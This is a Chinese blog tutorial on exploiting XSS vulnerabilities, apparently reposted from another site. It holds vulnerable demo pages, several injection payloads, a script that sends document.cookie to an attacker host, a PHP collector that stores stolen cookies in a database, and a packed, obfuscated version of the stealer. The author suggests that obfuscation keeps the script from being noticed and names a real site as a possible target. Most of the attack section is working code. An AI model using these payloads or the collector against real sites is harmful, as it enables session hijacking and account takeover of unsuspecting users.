Web 安全学习一之 XSS 漏洞的利用 | 珊瑚贝

什么是 XSS

XSS 意为跨站脚本攻击 (Cross Site Scripting),缩写应该是 CSS,但是已经有了一个层叠样式表 (Cascading Style Sheets),所以就叫它 XSS 了。恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页之时,嵌入其中 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的,最常见的就是拿到攻击者的 Cookie 然后就可以登录别人的账号了。

XSS 实例

最简单的形式就是从 URL 中直接插入恶意的 JavaScript 代码,最简单的实例如下:

1
2
3
4
<?php

$input = $_GET['info'];
echo $input;

服务端接收到了数据并执行了输出操作。这样的话就完全可以利用了,你可以向参数输入任意代码。 这个服务端的测试用例网址是 http://res.cuiqingcai.com/hack/xss1.php 你可以直接在参数后面加入 JavaScript 代码,例如 http://res.cuiqingcai.com/hack/xss1.php?info=%3Cscript%3Ealert(%27hello%27)%3C/script%3E%3C/script%3E) 直接打开便实现了最简单的 XSS 攻击,不过有的浏览器对此种攻击方式执行了过滤,例如 Chrome, Firefox。有的未执行过滤的浏览器是可以正常演示的。正常的结果应该是输出一个提示框。 接下来再演示另一种攻击方式。 测试网址是 http://res.cuiqingcai.com/hack/xss2.html 源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>TEST XSS</title>
</head>
<body>
<script>
function test() {
var text = document.getElementById('text').value;
var new_text = '<a href="' + text + '">test</a>';
console.log(new_text);
document.getElementById('content').innerHTML = new_text;
}
</script>
<div id="content"></div>
<input type="text" id="text" value="">
<input type="button" id="button" value="提交" onclick="test()">
</body>
</html>

现在有一个输入框,点击按钮之后会将输入框的内容提取出来,然后拼凑到超链接标签里。在这里也可以执行 XSS 攻击。 比如输入

1
javascript:void(0)" onclick=alert('ssss') "

提交之后会出现一个超链接,点击之后就可以执行你输入的代码,这次就弹出一个输入框。 当然你也可以插入一张图片,用 onerror 属性定义方法

1
"><img src="#" onerror=alert(/xss/)><meta class="

也可以达到同样的效果。 那么接下来来了,我们可以利用这个漏洞来盗取 Cookie。 盗取 Cookie 可以这样,在本地执行一个 JavaScript 脚本,然后请求恶意网址,恶意网址的参数就是本网址通过 document.cookie 获取的本地 cookie,这样 cookie 就保存在恶意网站上了。 这样的话,我们可以写一个脚本。

1
2
3
4
var img = document.createElement('img');
img.src = 'http://evil.cuiqingcai.com/cookie.php?url='+escape(window.location.href)+'&content='+escape(document.cookie);
img.style = 'display:none';
document.body.appendChild(img);

创建一张图片,然后图片的链接是一个恶意网址加当前的 cookie,然后添加到网页里。这样,新增加的一个网页便会请求这个 src,实现访问。 然后还是原来的实例,我们想在代码里执行这段 JavaScript,那怎么办呢?直接创建一个 script 节点引用? 先把这段 js 保存成 http://evil.cuiqingcai.com/cookie.js,试一下。 输入

1
javascript:void(0)"></a><script src="//evil.cuiqingcai.com/cookie.js"></script><a class="

测试之后,发现并不能行。原因是插入 script 标签后,并不会自动请求这个链接。 这样我们就需要再次借助图片这个神奇的东西来帮忙了。 输入

1
javascript:void(0)"></a><img src=# onerror="document.body.appendChild(document.createElement('script')).src='//evil.cuiqingcai.com/cookie.js'"><a class="

这里创建了一张图片,然后利用 onerror 方法插入了一个 script 标签,引入这个 JS 文件,这样就可以正常加载了。 嗯,那么这样就做到了将 cookie 传递给一个恶意网址。真正的盗取是在这里的。 那么 http://evil.cuiqingcai.com/cookie.php 的内容是什么?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php 

session_start();

$_SESSION['attempt'] = isset($_SESSION['attempt'])?$_SESSION['attempt']:0;

$_SESSION['attempt'] += 1;

if ($_SESSION['attempt'] >= 100) {
die("Too Frequent");
}

$mysqli = new mysqli("localhost", "root", "", "evil");
if ($mysqli->connect_errno) {
echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

$url = $_GET['url'];
$content = $_GET['content'];

$time = date("Y-m-d H:i:s", time());

$items = explode(";", $content);

$js = '';

foreach ($items as $item) {
$js .= ("document.cookie='".trim($item)."';");
}

if ($url && $content && $stmt = $mysqli->prepare("insert into cookies(url, content, time, js) values (?, ?, ?, ?)")) {
$stmt->bind_param("ssss", $url, $content, $time, $js);
$result = $stmt->execute();
if ($result) {
echo "Collected Your Cookie <br>" ;
}
}

echo 'url:', $url, '<br>', 'content:', $content;

其实就是获取了 url,还有 cookie 内容,然后插入了数据库保存起来。 这样,每成功一个 XSS,就可以成功捕获到某个网站的 Cookie。

混淆加密

其实将刚才的 cookie.js 贴到任意的网站都有可能引起 XSS,比如 CSDN。 为了防止 JavaScript 被看出来,可以利用在线加密网站加密。http://tool.chinaz.com/js.aspx 比如上面一段代码就被加密成这样,粘贴到控制台,就能成功获取 Cookie 了。

1
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('9 0=1.8(\'0\');0.a=\'c://b.5.7/3.4?6=\'+2(j.i.l)+\'&k=\'+2(1.3);0.h=\'e:d\';1.g.f(0);',22,22,'img|document|escape|cookie|php|cuiqingcai|url|com|createElement|var|src|evil|http|none|display|appendChild|body|style|location|window|content|href'.split('|'),0,{}))

来源:https://cuiqingcai.com/3133.html

微信公众号
手机浏览(小程序)

Warning: get_headers(): SSL operation failed with code 1. OpenSSL Error messages: error:14090086:SSL routines:ssl3_get_server_certificate:certificate verify failed in /mydata/web/wwwshanhubei/web/wp-content/themes/shanhuke/single.php on line 57

Warning: get_headers(): Failed to enable crypto in /mydata/web/wwwshanhubei/web/wp-content/themes/shanhuke/single.php on line 57

Warning: get_headers(https://static.shanhubei.com/qrcode/qrcode_viewid_11301.jpg): failed to open stream: operation failed in /mydata/web/wwwshanhubei/web/wp-content/themes/shanhuke/single.php on line 57
0
分享到:
没有账号? 忘记密码?